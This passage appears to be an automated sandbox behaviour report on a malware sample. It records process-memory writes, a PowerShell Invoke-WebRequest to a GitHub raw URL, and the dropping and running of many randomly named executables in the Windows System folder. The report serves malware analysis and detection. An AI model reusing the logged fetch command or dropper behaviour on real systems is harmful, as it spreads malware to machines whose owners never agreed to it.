PID 4736 wrote to memory of 4160	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	107
PID 4736 wrote to memory of 4160	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	107
PID 4736 wrote to memory of 2952	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	108
PID 4736 wrote to memory of 2952	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	108
PID 4736 wrote to memory of 528	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	109
PID 4736 wrote to memory of 528	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	109
PID 4736 wrote to memory of 1816	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	110
PID 4736 wrote to memory of 1816	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	110
PID 4736 wrote to memory of 3436	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	111
PID 4736 wrote to memory of 3436	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	111
PID 4736 wrote to memory of 3504	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	112
PID 4736 wrote to memory of 3504	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	112
PID 4736 wrote to memory of 3356	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	113
PID 4736 wrote to memory of 3356	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	113
PID 4736 wrote to memory of 2576	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	114
PID 4736 wrote to memory of 2576	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	114
PID 4736 wrote to memory of 4560	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	115
PID 4736 wrote to memory of 4560	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	115

C:\Users\Admin\AppData\Local\Temp\9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Windows\System\lZeFgjO.exe
  C:\Windows\System\lZeFgjO.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\GgKKPKq.exe
  C:\Windows\System\GgKKPKq.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\ddEuEjP.exe
  C:\Windows\System\ddEuEjP.exe
  2⤵
  - Executes dropped EXE
  PID:904
- C:\Windows\System\BREkPMh.exe
  C:\Windows\System\BREkPMh.exe
  2⤵
  - Executes dropped EXE
  PID:996
- C:\Windows\System\QQhnpIH.exe
  C:\Windows\System\QQhnpIH.exe
  2⤵
  - Executes dropped EXE
  PID:1320
- C:\Windows\System\yzZKuDy.exe
  C:\Windows\System\yzZKuDy.exe
  2⤵
  - Executes dropped EXE
  PID:5084
- C:\Windows\System\VxhPkrl.exe
  C:\Windows\System\VxhPkrl.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\nkFLckq.exe
  C:\Windows\System\nkFLckq.exe
  2⤵
  - Executes dropped EXE
  PID:4780
- C:\Windows\System\alpFxXZ.exe
  C:\Windows\System\alpFxXZ.exe
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Windows\System\RaykJyQ.exe
  C:\Windows\System\RaykJyQ.exe
  2⤵
  - Executes dropped EXE
  PID:4884
- C:\Windows\System\eHNdtdf.exe
  C:\Windows\System\eHNdtdf.exe
  2⤵
  - Executes dropped EXE
  PID:3528
- C:\Windows\System\QJdpZMo.exe
  C:\Windows\System\QJdpZMo.exe
  2⤵
  - Executes dropped EXE
  PID:2260
- C:\Windows\System\qwzTXlR.exe
  C:\Windows\System\qwzTXlR.exe
  2⤵
  - Executes dropped EXE
  PID:3768
- C:\Windows\System\yEpgFdr.exe
  C:\Windows\System\yEpgFdr.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\oWfKTQc.exe
  C:\Windows\System\oWfKTQc.exe
  2⤵
  - Executes dropped EXE
  PID:4748
- C:\Windows\System\FWgHUhY.exe
  C:\Windows\System\FWgHUhY.exe
  2⤵
  - Executes dropped EXE
  PID:4816
- C:\Windows\System\FBfTFOs.exe
  C:\Windows\System\FBfTFOs.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\ZsnzXsG.exe
  C:\Windows\System\ZsnzXsG.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\bjQCxth.exe
  C:\Windows\System\bjQCxth.exe
  2⤵
  - Executes dropped EXE
  PID:3940
- C:\Windows\System\MORHvCh.exe
  C:\Windows\System\MORHvCh.exe
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Windows\System\idZuQHR.exe
  C:\Windows\System\idZuQHR.exe
  2⤵
  - Executes dropped EXE
  PID:3644
- C:\Windows\System\KqGQXmN.exe
  C:\Windows\System\KqGQXmN.exe
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Windows\System\rgNaMKu.exe
  C:\Windows\System\rgNaMKu.exe
  2⤵
  - Executes dropped EXE
  PID:4160
- C:\Windows\System\eTvNvpH.exe
  C:\Windows\System\eTvNvpH.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\ThoIFQN.exe
  C:\Windows\System\ThoIFQN.exe
  2⤵
  - Executes dropped EXE
  PID:528
- C:\Windows\System\YjOQYQp.exe
  C:\Windows\System\YjOQYQp.exe
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Windows\System\BBTEZsT.exe
  C:\Windows\System\BBTEZsT.exe
  2⤵
  - Executes dropped EXE
  PID:3436
- C:\Windows\System\XkRHqfl.exe
  C:\Windows\System\XkRHqfl.exe
  2⤵
  - Executes dropped EXE
  PID:3504
- C:\Windows\System\ywBDVYm.exe
  C:\Windows\System\ywBDVYm.exe
  2⤵
  - Executes dropped EXE
  PID:3356
- C:\Windows\System\XRlQMzW.exe
  C:\Windows\System\XRlQMzW.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\OieIqBs.exe
  C:\Windows\System\OieIqBs.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\VWrdNqD.exe
  C:\Windows\System\VWrdNqD.exe
  2⤵
  - Executes dropped EXE
  PID:3368
- C:\Windows\System\hIruUQl.exe
  C:\Windows\System\hIruUQl.exe
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Windows\System\AKLSXOb.exe
  C:\Windows\System\AKLSXOb.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\bHesFub.exe
  C:\Windows\System\bHesFub.exe
  2⤵
  - Executes dropped EXE
  PID:4848
- C:\Windows\System\GtQVBGu.exe
  C:\Windows\System\GtQVBGu.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\fRgRMLV.exe
  C:\Windows\System\fRgRMLV.exe
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Windows\System\dSNMlPm.exe
  C:\Windows\System\dSNMlPm.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\PywfVmZ.exe
  C:\Windows\System\PywfVmZ.exe
  2⤵
  - Executes dropped EXE
  PID:116
- C:\Windows\System\pEhxPWE.exe
  C:\Windows\System\pEhxPWE.exe
  2⤵
  - Executes dropped EXE
  PID:4436
- C:\Windows\System\pNZvuoE.exe
  C:\Windows\System\pNZvuoE.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\CDhwwyS.exe
  C:\Windows\System\CDhwwyS.exe
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\System\brBFcEF.exe
  C:\Windows\System\brBFcEF.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\LKuFCeb.exe
  C:\Windows\System\LKuFCeb.exe
  2⤵
  - Executes dropped EXE
  PID:376
- C:\Windows\System\StqUfhI.exe
  C:\Windows\System\StqUfhI.exe
  2⤵
  - Executes dropped EXE
  PID:4316
- C:\Windows\System\gilkQpv.exe
  C:\Windows\System\gilkQpv.exe
  2⤵
  - Executes dropped EXE
  PID:3492
- C:\Windows\System\HXYxLun.exe
  C:\Windows\System\HXYxLun.exe
  2⤵
  - Executes dropped EXE
  PID:1284
- C:\Windows\System\bDbhNLM.exe
  C:\Windows\System\bDbhNLM.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\BwLpDnF.exe
  C:\Windows\System\BwLpDnF.exe
  2⤵
  - Executes dropped EXE
  PID:4824
- C:\Windows\System\RmPPPBN.exe
  C:\Windows\System\RmPPPBN.exe
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Windows\System\EueWTiZ.exe
  C:\Windows\System\EueWTiZ.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\rzdehua.exe
  C:\Windows\System\rzdehua.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Windows\System\PviiKgd.exe
  C:\Windows\System\PviiKgd.exe
  2⤵
  - Executes dropped EXE
  PID:4068
- C:\Windows\System\uhZMFGU.exe
  C:\Windows\System\uhZMFGU.exe
  2⤵
  - Executes dropped EXE
  PID:3624
- C:\Windows\System\bwIahYl.exe
  C:\Windows\System\bwIahYl.exe
  2⤵
  - Executes dropped EXE
  PID:3308
- C:\Windows\System\fkxnSbD.exe
  C:\Windows\System\fkxnSbD.exe
  2⤵
  - Executes dropped EXE
  PID:4948
- C:\Windows\System\ieutLJu.exe
  C:\Windows\System\ieutLJu.exe
  2⤵
  - Executes dropped EXE
  PID:3468
- C:\Windows\System\GFexCRn.exe
  C:\Windows\System\GFexCRn.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\PrwJaPC.exe
  C:\Windows\System\PrwJaPC.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\aZjdJuO.exe
  C:\Windows\System\aZjdJuO.exe
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Windows\System\hRTVMUi.exe
  C:\Windows\System\hRTVMUi.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\fyJJizu.exe
  C:\Windows\System\fyJJizu.exe
  2⤵
  - Executes dropped EXE
  PID:4492
- C:\Windows\System\fHmgYSy.exe
  C:\Windows\System\fHmgYSy.exe
  2⤵
  - Executes dropped EXE
  PID:2276
- C:\Windows\System\VYcwqrJ.exe
  C:\Windows\System\VYcwqrJ.exe
  2⤵
  - Executes dropped EXE
  PID:1492
- C:\Windows\System\MEsLmLl.exe
  C:\Windows\System\MEsLmLl.exe
  2⤵
  PID:4088
- C:\Windows\System\fKyDMdI.exe
  C:\Windows\System\fKyDMdI.exe
  2⤵
  PID:3092
- C:\Windows\System\naGgXgV.exe
  C:\Windows\System\naGgXgV.exe
  2⤵
  PID:4312
- C:\Windows\System\DiLjSmy.exe
  C:\Windows\System\DiLjSmy.exe
  2⤵
  PID:4092
- C:\Windows\System\rqwUnYk.exe
  C:\Windows\System\rqwUnYk.exe
  2⤵
  PID:2904
- C:\Windows\System\ojBiHwA.exe
  C:\Windows\System\ojBiHwA.exe
  2⤵
  PID:2296
- C:\Windows\System\UfiakjG.exe
  C:\Windows\System\UfiakjG.exe
  2⤵
  PID:3716
- C:\Windows\System\kEwDdQI.exe
  C:\Windows\System\kEwDdQI.exe
  2⤵
  PID:3924
- C:\Windows\System\pnTTxLX.exe
  C:\Windows\System\pnTTxLX.exe
  2⤵
  PID:5000
- C:\Windows\System\GfWrNSy.exe
  C:\Windows\System\GfWrNSy.exe
  2⤵
  PID:4792
- C:\Windows\System\ptPCisT.exe
  C:\Windows\System\ptPCisT.exe
  2⤵
  PID:3692
- C:\Windows\System\ZfRRtIo.exe
  C:\Windows\System\ZfRRtIo.exe
  2⤵
  PID:928
- C:\Windows\System\JnsijeQ.exe
  C:\Windows\System\JnsijeQ.exe
  2⤵
  PID:952
- C:\Windows\System\HCZOmUH.exe
  C:\Windows\System\HCZOmUH.exe
  2⤵
  PID:4072
- C:\Windows\System\BTSSuGr.exe
  C:\Windows\System\BTSSuGr.exe
  2⤵
  PID:3096
- C:\Windows\System\dGYZIdf.exe
  C:\Windows\System\dGYZIdf.exe
  2⤵
  PID:2264
- C:\Windows\System\kqFWeAW.exe
  C:\Windows\System\kqFWeAW.exe
  2⤵
  PID:4856
- C:\Windows\System\horGtGa.exe
  C:\Windows\System\horGtGa.exe
  2⤵
  PID:4488
- C:\Windows\System\qMoAAvj.exe
  C:\Windows\System\qMoAAvj.exe
  2⤵
  PID:672
- C:\Windows\System\csDJUtD.exe
  C:\Windows\System\csDJUtD.exe
  2⤵
  PID:2864
- C:\Windows\System\fpKMKlr.exe
  C:\Windows\System\fpKMKlr.exe
  2⤵
  PID:2940
- C:\Windows\System\MIXuiRC.exe
  C:\Windows\System\MIXuiRC.exe
  2⤵
  PID:5148
- C:\Windows\System\XaonYdj.exe
  C:\Windows\System\XaonYdj.exe
  2⤵
  PID:5176
- C:\Windows\System\maNHREI.exe
  C:\Windows\System\maNHREI.exe
  2⤵
  PID:5196
- C:\Windows\System\bbTFBjU.exe
  C:\Windows\System\bbTFBjU.exe
  2⤵
  PID:5216
- C:\Windows\System\FIWaqHu.exe
  C:\Windows\System\FIWaqHu.exe
  2⤵
  PID:5232
- C:\Windows\System\oLxpdHu.exe
  C:\Windows\System\oLxpdHu.exe
  2⤵
  PID:5252
- C:\Windows\System\iKCdbzN.exe
  C:\Windows\System\iKCdbzN.exe
  2⤵
  PID:5276
- C:\Windows\System\ICVpRoK.exe
  C:\Windows\System\ICVpRoK.exe
  2⤵
  PID:5352
- C:\Windows\System\JnTNFLL.exe
  C:\Windows\System\JnTNFLL.exe
  2⤵
  PID:5380
- C:\Windows\System\zBiSbGG.exe
  C:\Windows\System\zBiSbGG.exe
  2⤵
  PID:5420
- C:\Windows\System\LIiHyRv.exe
  C:\Windows\System\LIiHyRv.exe
  2⤵
  PID:5444
- C:\Windows\System\WBAhzDQ.exe
  C:\Windows\System\WBAhzDQ.exe
  2⤵
  PID:5476
- C:\Windows\System\AXIxdqn.exe
  C:\Windows\System\AXIxdqn.exe
  2⤵
  PID:5508
- C:\Windows\System\JbZgNAX.exe
  C:\Windows\System\JbZgNAX.exe
  2⤵
  PID:5524
- C:\Windows\System\fFvFdwb.exe
  C:\Windows\System\fFvFdwb.exe
  2⤵
  PID:5544
- C:\Windows\System\AEyiiyK.exe
  C:\Windows\System\AEyiiyK.exe
  2⤵
  PID:5572
- C:\Windows\System\CdlhyXt.exe
  C:\Windows\System\CdlhyXt.exe
  2⤵
  PID:5612
- C:\Windows\System\vRDVDUB.exe
  C:\Windows\System\vRDVDUB.exe
  2⤵
  PID:5632
- C:\Windows\System\uMADRvU.exe
  C:\Windows\System\uMADRvU.exe
  2⤵
  PID:5680
- C:\Windows\System\NcBMbxd.exe
  C:\Windows\System\NcBMbxd.exe
  2⤵
  PID:5716
- C:\Windows\System\KujzrEr.exe
  C:\Windows\System\KujzrEr.exe
  2⤵
  PID:5748
- C:\Windows\System\IXKLIFZ.exe
  C:\Windows\System\IXKLIFZ.exe
  2⤵
  PID:5764
- C:\Windows\System\FlKwpIJ.exe
  C:\Windows\System\FlKwpIJ.exe
  2⤵
  PID:5792
- C:\Windows\System\RTkVLKI.exe
  C:\Windows\System\RTkVLKI.exe
  2⤵
  PID:5812
- C:\Windows\System\PxuWevS.exe
  C:\Windows\System\PxuWevS.exe
  2⤵
  PID:5844
- C:\Windows\System\bayrJLK.exe
  C:\Windows\System\bayrJLK.exe
  2⤵
  PID:5904
- C:\Windows\System\lwBSNiH.exe
  C:\Windows\System\lwBSNiH.exe
  2⤵
  PID:5928
- C:\Windows\System\cHdiplD.exe
  C:\Windows\System\cHdiplD.exe
  2⤵
  PID:5956
- C:\Windows\System\oGTsSsv.exe
  C:\Windows\System\oGTsSsv.exe
  2⤵
  PID:5988
- C:\Windows\System\TvuGfgY.exe
  C:\Windows\System\TvuGfgY.exe
  2⤵
  PID:6012
- C:\Windows\System\qIrCyxg.exe
  C:\Windows\System\qIrCyxg.exe
  2⤵
  PID:6032
- C:\Windows\System\qJikMNz.exe
  C:\Windows\System\qJikMNz.exe
  2⤵
  PID:6052
- C:\Windows\System\ICimcpt.exe
  C:\Windows\System\ICimcpt.exe
  2⤵
  PID:6076
- C:\Windows\System\QDFXCSx.exe
  C:\Windows\System\QDFXCSx.exe
  2⤵
  PID:6100
- C:\Windows\System\eyErVYx.exe
  C:\Windows\System\eyErVYx.exe
  2⤵
  PID:2460
- C:\Windows\System\bknQMKz.exe
  C:\Windows\System\bknQMKz.exe
  2⤵
  PID:4836
- C:\Windows\System\ZcgXjbL.exe
  C:\Windows\System\ZcgXjbL.exe
  2⤵
  PID:5136
- C:\Windows\System\gjZadNI.exe
  C:\Windows\System\gjZadNI.exe
  2⤵
  PID:2288
- C:\Windows\System\KsOLgrA.exe
  C:\Windows\System\KsOLgrA.exe
  2⤵
  PID:5208
- C:\Windows\System\HCgAmhs.exe
  C:\Windows\System\HCgAmhs.exe
  2⤵
  PID:5244
- C:\Windows\System\mJUxhYV.exe
  C:\Windows\System\mJUxhYV.exe
  2⤵
  PID:5360
- C:\Windows\System\TFmEFfM.exe
  C:\Windows\System\TFmEFfM.exe
  2⤵
  PID:5432
- C:\Windows\System\pcZOOsI.exe
  C:\Windows\System\pcZOOsI.exe
  2⤵
  PID:5456
- C:\Windows\System\lAYIdpd.exe
  C:\Windows\System\lAYIdpd.exe
  2⤵
  PID:5516
- C:\Windows\System\vCUtrtS.exe
  C:\Windows\System\vCUtrtS.exe
  2⤵
  PID:5540
- C:\Windows\System\tGuSYKG.exe
  C:\Windows\System\tGuSYKG.exe
  2⤵
  PID:5580
- C:\Windows\System\SVaQWED.exe
  C:\Windows\System\SVaQWED.exe
  2⤵
  PID:5668
- C:\Windows\System\GLdpUlI.exe
  C:\Windows\System\GLdpUlI.exe
  2⤵
  PID:5660
- C:\Windows\System\IIloHMD.exe
  C:\Windows\System\IIloHMD.exe
  2⤵
  PID:2984
- C:\Windows\System\tzWcnOx.exe
  C:\Windows\System\tzWcnOx.exe
  2⤵
  PID:4772
- C:\Windows\System\MAlnzaK.exe
  C:\Windows\System\MAlnzaK.exe
  2⤵
  PID:5864
- C:\Windows\System\KLLvtei.exe
  C:\Windows\System\KLLvtei.exe
  2⤵
  PID:5944
- C:\Windows\System\QovuKrC.exe
  C:\Windows\System\QovuKrC.exe
  2⤵
  PID:6004
- C:\Windows\System\gDykqkj.exe
  C:\Windows\System\gDykqkj.exe
  2⤵
  PID:6024
- C:\Windows\System\IoDzWwU.exe
  C:\Windows\System\IoDzWwU.exe
  2⤵
  PID:6088
- C:\Windows\System\UFiSEUB.exe
  C:\Windows\System\UFiSEUB.exe
  2⤵
  PID:6120
- C:\Windows\System\ayYbCsJ.exe
  C:\Windows\System\ayYbCsJ.exe
  2⤵
  PID:5224
- C:\Windows\System\XlRCNEa.exe
  C:\Windows\System\XlRCNEa.exe
  2⤵
  PID:5312
- C:\Windows\System\QKyOLns.exe
  C:\Windows\System\QKyOLns.exe
  2⤵
  PID:5604
- C:\Windows\System\JcLdICF.exe
  C:\Windows\System\JcLdICF.exe
  2⤵
  PID:5568
- C:\Windows\System\YzrlKCK.exe
  C:\Windows\System\YzrlKCK.exe
  2⤵
  PID:5800
- C:\Windows\System\ZyJDBnw.exe
  C:\Windows\System\ZyJDBnw.exe
  2⤵
  PID:3296
- C:\Windows\System\KbQKdwh.exe
  C:\Windows\System\KbQKdwh.exe
  2⤵
  PID:5936
- C:\Windows\System\YwBWHpE.exe
  C:\Windows\System\YwBWHpE.exe
  2⤵
  PID:6072
- C:\Windows\System\pcveWod.exe
  C:\Windows\System\pcveWod.exe
  2⤵
  PID:6140
- C:\Windows\System\mOOIkdq.exe
  C:\Windows\System\mOOIkdq.exe
  2⤵
  PID:2700
- C:\Windows\System\BBVlNWL.exe
  C:\Windows\System\BBVlNWL.exe
  2⤵
  PID:5536
- C:\Windows\System\ZamoBuv.exe
  C:\Windows\System\ZamoBuv.exe
  2⤵
  PID:5732
- C:\Windows\System\DdnkOZh.exe
  C:\Windows\System\DdnkOZh.exe
  2⤵
  PID:6040
- C:\Windows\System\HZYJznY.exe
  C:\Windows\System\HZYJznY.exe
  2⤵
  PID:5304
- C:\Windows\System\yVayjPS.exe
  C:\Windows\System\yVayjPS.exe
  2⤵
  PID:6160
- C:\Windows\System\WzTnAal.exe
  C:\Windows\System\WzTnAal.exe
  2⤵
  PID:6184
- C:\Windows\System\KncxCyA.exe
  C:\Windows\System\KncxCyA.exe
  2⤵
  PID:6200
- C:\Windows\System\qeVHRyJ.exe
  C:\Windows\System\qeVHRyJ.exe
  2⤵
  PID:6220
- C:\Windows\System\UppCRJB.exe
  C:\Windows\System\UppCRJB.exe
  2⤵
  PID:6244
- C:\Windows\System\agQjxyU.exe
  C:\Windows\System\agQjxyU.exe
  2⤵
  PID:6296
- C:\Windows\System\kUWNxbn.exe
  C:\Windows\System\kUWNxbn.exe
  2⤵
  PID:6312
- C:\Windows\System\jPahoPC.exe
  C:\Windows\System\jPahoPC.exe
  2⤵
  PID:6336
- C:\Windows\System\NnBMRGd.exe
  C:\Windows\System\NnBMRGd.exe
  2⤵
  PID:6356
- C:\Windows\System\Rfpwtey.exe
  C:\Windows\System\Rfpwtey.exe
  2⤵
  PID:6372
- C:\Windows\System\RBMgynA.exe
  C:\Windows\System\RBMgynA.exe
  2⤵
  PID:6396
- C:\Windows\System\VulGpty.exe
  C:\Windows\System\VulGpty.exe
  2⤵
  PID:6420
- C:\Windows\System\nURGgaj.exe
  C:\Windows\System\nURGgaj.exe
  2⤵
  PID:6504
- C:\Windows\System\bpLMlqP.exe
  C:\Windows\System\bpLMlqP.exe
  2⤵
  PID:6548
- C:\Windows\System\pNufnAz.exe
  C:\Windows\System\pNufnAz.exe
  2⤵
  PID:6564
- C:\Windows\System\FnvxrAA.exe
  C:\Windows\System\FnvxrAA.exe
  2⤵
  PID:6588
- C:\Windows\System\BXaGoNI.exe
  C:\Windows\System\BXaGoNI.exe
  2⤵
  PID:6608
- C:\Windows\System\kRrPBpT.exe
  C:\Windows\System\kRrPBpT.exe
  2⤵
  PID:6644
- C:\Windows\System\PaaSZwq.exe
  C:\Windows\System\PaaSZwq.exe
  2⤵
  PID:6684
- C:\Windows\System\JHADEhS.exe
  C:\Windows\System\JHADEhS.exe
  2⤵
  PID:6700
- C:\Windows\System\malcCHU.exe
  C:\Windows\System\malcCHU.exe
  2⤵
  PID:6736
- C:\Windows\System\cdSOLnT.exe
  C:\Windows\System\cdSOLnT.exe
  2⤵
  PID:6776
- C:\Windows\System\INgyAsY.exe
  C:\Windows\System\INgyAsY.exe
  2⤵
  PID:6796
- C:\Windows\System\PosfRND.exe
  C:\Windows\System\PosfRND.exe
  2⤵
  PID:6820
- C:\Windows\System\nSgkjTn.exe
  C:\Windows\System\nSgkjTn.exe
  2⤵
  PID:6860
- C:\Windows\System\lSLHkIz.exe
  C:\Windows\System\lSLHkIz.exe
  2⤵
  PID:6884
- C:\Windows\System\HJycEQI.exe
  C:\Windows\System\HJycEQI.exe
  2⤵
  PID:6908
- C:\Windows\System\cbcWcTq.exe
  C:\Windows\System\cbcWcTq.exe
  2⤵
  PID:6928
- C:\Windows\System\ONoQayu.exe
  C:\Windows\System\ONoQayu.exe
  2⤵
  PID:6948
- C:\Windows\System\ylPjaLZ.exe
  C:\Windows\System\ylPjaLZ.exe
  2⤵
  PID:6972
- C:\Windows\System\lnEhaca.exe
  C:\Windows\System\lnEhaca.exe
  2⤵
  PID:7000
- C:\Windows\System\BirXyBu.exe
  C:\Windows\System\BirXyBu.exe
  2⤵
  PID:7040
- C:\Windows\System\fhzzOZX.exe
  C:\Windows\System\fhzzOZX.exe
  2⤵
  PID:7092
- C:\Windows\System\JrqEGLN.exe
  C:\Windows\System\JrqEGLN.exe
  2⤵
  PID:7116
- C:\Windows\System\AFmgrNl.exe
  C:\Windows\System\AFmgrNl.exe
  2⤵
  PID:7144
- C:\Windows\System\JgMaDTA.exe
  C:\Windows\System\JgMaDTA.exe
  2⤵
  PID:7164
- C:\Windows\System\cfftAIu.exe
  C:\Windows\System\cfftAIu.exe
  2⤵
  PID:6152
- C:\Windows\System\vpULsMC.exe
  C:\Windows\System\vpULsMC.exe
  2⤵
  PID:6212
- C:\Windows\System\XLyLMkE.exe
  C:\Windows\System\XLyLMkE.exe
  2⤵
  PID:6292
- C:\Windows\System\PKQZMyf.exe
  C:\Windows\System\PKQZMyf.exe
  2⤵
  PID:6380
- C:\Windows\System\gKEcCiO.exe
  C:\Windows\System\gKEcCiO.exe
  2⤵
  PID:6328
- C:\Windows\System\hkGrqgD.exe
  C:\Windows\System\hkGrqgD.exe
  2⤵
  PID:6448
- C:\Windows\System\CPgFwQL.exe
  C:\Windows\System\CPgFwQL.exe
  2⤵
  PID:6488
- C:\Windows\System\EVWInNQ.exe
  C:\Windows\System\EVWInNQ.exe
  2⤵
  PID:6572
- C:\Windows\System\hXSIIyj.exe
  C:\Windows\System\hXSIIyj.exe
  2⤵
  PID:6668
- C:\Windows\System\gJnetlP.exe
  C:\Windows\System\gJnetlP.exe
  2⤵
  PID:6732
- C:\Windows\System\CJhqSZa.exe
  C:\Windows\System\CJhqSZa.exe
  2⤵
  PID:6788
- C:\Windows\System\rMqmXWy.exe
  C:\Windows\System\rMqmXWy.exe
  2⤵
  PID:6840
- C:\Windows\System\dyYMrjO.exe
  C:\Windows\System\dyYMrjO.exe
  2⤵
  PID:6900
- C:\Windows\System\CruyLkZ.exe
  C:\Windows\System\CruyLkZ.exe
  2⤵
  PID:6968
- C:\Windows\System\YYunrnD.exe
  C:\Windows\System\YYunrnD.exe
  2⤵
  PID:7020
- C:\Windows\System\EUuTQJL.exe
  C:\Windows\System\EUuTQJL.exe
  2⤵
  PID:7068
- C:\Windows\System\PpckbqZ.exe
  C:\Windows\System\PpckbqZ.exe
  2⤵
  PID:7088
- C:\Windows\System\VELWZIt.exe
  C:\Windows\System\VELWZIt.exe
  2⤵
  PID:6196
- C:\Windows\System\bDpixTB.exe
  C:\Windows\System\bDpixTB.exe
  2⤵
  PID:6348
- C:\Windows\System\QSQeUgF.exe
  C:\Windows\System\QSQeUgF.exe
  2⤵
  PID:6540
- C:\Windows\System\uANFynx.exe
  C:\Windows\System\uANFynx.exe
  2⤵
  PID:6636
- C:\Windows\System\NjNViHk.exe
  C:\Windows\System\NjNViHk.exe
  2⤵
  PID:6920
- C:\Windows\System\rpXQRvw.exe
  C:\Windows\System\rpXQRvw.exe
  2⤵
  PID:7052
- C:\Windows\System\ezrmAol.exe
  C:\Windows\System\ezrmAol.exe
  2⤵
  PID:6228
- C:\Windows\System\dHuQPVu.exe
  C:\Windows\System\dHuQPVu.exe
  2⤵
  PID:6352
- C:\Windows\System\ObkhNJc.exe
  C:\Windows\System\ObkhNJc.exe
  2⤵
  PID:6852
- C:\Windows\System\QZdXZEw.exe
  C:\Windows\System\QZdXZEw.exe
  2⤵
  PID:6992
- C:\Windows\System\SikTfKq.exe
  C:\Windows\System\SikTfKq.exe
  2⤵
  PID:6180
- C:\Windows\System\tTBmYKn.exe
  C:\Windows\System\tTBmYKn.exe
  2⤵
  PID:7188
- C:\Windows\System\YHNxRND.exe
  C:\Windows\System\YHNxRND.exe
  2⤵
  PID:7208
- C:\Windows\System\gUrnKNj.exe
  C:\Windows\System\gUrnKNj.exe
  2⤵
  PID:7256
- C:\Windows\System\cELSIah.exe
  C:\Windows\System\cELSIah.exe
  2⤵
  PID:7276
- C:\Windows\System\VyOReDD.exe
  C:\Windows\System\VyOReDD.exe
  2⤵
  PID:7296
- C:\Windows\System\QAEMssK.exe
  C:\Windows\System\QAEMssK.exe
  2⤵
  PID:7340
- C:\Windows\System\kAlCfil.exe
  C:\Windows\System\kAlCfil.exe
  2⤵
  PID:7368
- C:\Windows\System\pzQqAMg.exe
  C:\Windows\System\pzQqAMg.exe
  2⤵
  PID:7396
- C:\Windows\System\aivZRTR.exe
  C:\Windows\System\aivZRTR.exe
  2⤵
  PID:7416
- C:\Windows\System\SiZmnYR.exe
  C:\Windows\System\SiZmnYR.exe
  2⤵
  PID:7436
- C:\Windows\System\eDjTvbF.exe
  C:\Windows\System\eDjTvbF.exe
  2⤵
  PID:7464
- C:\Windows\System\pUSezmU.exe
  C:\Windows\System\pUSezmU.exe
